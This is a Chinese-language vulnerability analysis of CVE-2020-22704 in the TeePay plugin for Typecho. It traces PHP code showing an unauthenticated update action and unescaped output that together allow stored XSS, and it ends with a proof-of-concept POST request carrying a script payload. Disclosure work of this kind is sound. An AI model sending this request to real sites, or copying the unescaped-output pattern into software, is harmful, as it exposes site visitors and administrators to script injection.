TeePay插件项目地址:https://github.com/mhcyong/TeePay
CVE
CVE-2020-22704
中文版本
English version below
简介
TeePay是一个为Typecho博客提供支付和付费阅读功能的插件,其基础版本开源,但有着轻易可被利用的漏洞。
漏洞触发原理
在Typecho中,对插件的操作绑定在Action.php文件中,设计为action()函数。
在Typecho设计中,这个函数调用是不需要管理员权限的,也就是普通用户甚至无需登录,只要知道url就可以调用这个函数。这个越权问题在Typecho中普遍存在。
很遗憾的是,我们的主角TeePay也存在这个问题,并且,没有对用户输入字符进行过滤,导致了越权后XSS的可能。
更新: “
关于TeePay开源版本插件存在安全问题的修复教程”中,增加了手动修复教程。
action()函数
在1.5.2版本(也就是最新版)的Action.php文件中,第33行就是这个函数。
public function action()
{
$this->db = Typecho_Db::get();
$this->prefix = $this->db->getPrefix();
$this->options = Typecho_Widget::widget('Widget_Options');
$this->on($this->request->is('do=update'))->updateTeePay();
$this->response->redirect($this->options->adminUrl);
}
代码非常清晰,其中关键函数是updateTeePay(),让我们跟进这个函数,同样也在这个文件当中。
public function updateTeePay()
{
if (TeePay_Plugin::form('update')->validate()) {
$this->response->goBack();
}
/** 取出数据 */
$post = $this->request->from('cid', 'title', 'teepay_isFee', 'teepay_price', 'teepay_content');
/** 更新数据 */
$this->db->query($this->db->update($this->prefix.'contents')->rows($post)->where('cid = ?', $post['cid']));
/** 设置高亮 */
$this->widget('Widget_Notice')->highlight('post-'.$post['cid']);
/** 提示信息 */
$this->widget('Widget_Notice')->set(_t('文章 %s 费用已经被更新为 %s 元',
$post['title'], $post['teepay_price']), NULL, 'success');
/** 转向原页 */
$this->response->redirect(Typecho_Common::url('extending.php?panel=TeePay%2Fmanage/posts.php', $this->options->adminUrl));
}
很简单的代码,取出用户提交的参数并不加任何处理放于数据库中,并且弹出费用更新提示。
这一块的代码分析完毕,此时payload已经畅通无阻放于数据库中了,接下来就是如何显示它。
getTeePay()函数
此插件在文章中显示需要添加getTeePay函数,显然这就是显示的主代码,在Plugin.php文件中。
为了便于展示,省略部分不重要的代码。
public static function getTeePay(){
$db = Typecho_Db::get();
$options = Typecho_Widget::widget('Widget_Options');
$option=$options->plugin('TeePay');
$cid = Typecho_Widget::widget('Widget_Archive')->cid;
$query= $db->select()->from('table.contents')->where('cid = ?', $cid );
$row = $db->fetchRow($query);
if($row['teepay_isFee']=='y'){
if($row['authorId']!=Typecho_Cookie::get('__typecho_uid')){
$cookietime=$option->teepay_cookietime==""?1:$option->teepay_cookietime;
if(!isset($_COOKIE["TeePayCookie"])){
$randomCode = md5(uniqid(microtime(true),true));
setcookie("TeePayCookie",$randomCode, time()+3600*24*$cookietime);
}
$queryItem= $db->select()->from('table.teepay_fees')->where('feecookie = ?', $_COOKIE["TeePayCookie"])->where('feestatus = ?', 1)->where('feecid = ?', $row['cid']);
$rowItem = $db->fetchRow($queryItem);
$rowUserItemNum = 0;
if(Typecho_Cookie::get('__typecho_uid')){
$queryUserItem= $db->select()->from('table.teepay_fees')->where('feeuid = ?', Typecho_Cookie::get('__typecho_uid'))->where('feestatus = ?', 1)->where('feecid = ?', $row['cid']);
$rowUserItem = $db->fetchRow($queryUserItem);
if(!empty($rowUserItem)){
$rowUserItemNum = 1;
}
}
if(count($rowItem) != 0 || $rowUserItemNum){ ?>
价格: <?php echo $row['teepay_price'] ?> 元 付费可读 <?php }
}else{ ?>
<span><?php echo $row['teepay_content'] ?>作者本人可读
<?php }
}
}
代码有点长,删了不少不关键的内容,但逻辑很清晰。
先获取文章的cid,再查询请求的cookies有没有付费,再查询访问者是不是作者。
付费区域的我们暂且不讨论,只看作者区域的。
<?php echo $row['teepay_content'] ?>
这里直接输出了$row['teepay_content'],那这个row是哪里的呢?
$row = $db->fetchRow($query);
$query= $db->select()->from('table.contents')->where('cid = ?', $cid );
直接从数据库查询,然后直接返回,并且直接输出。XSS实在太愉快了,过滤都不需要过滤。
POC
POST http://xxxx/action/teepay-post-free
title=xxxtitle&teepay_isFee=y&teepay_price=3.00&teepay_content=%3C%2Fspan%3E%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E&do=update&cid=1
界面重定向到后台登录界面且弹框修改成功即可。
文章来自:https://www.shinenet.cn/archives/117.html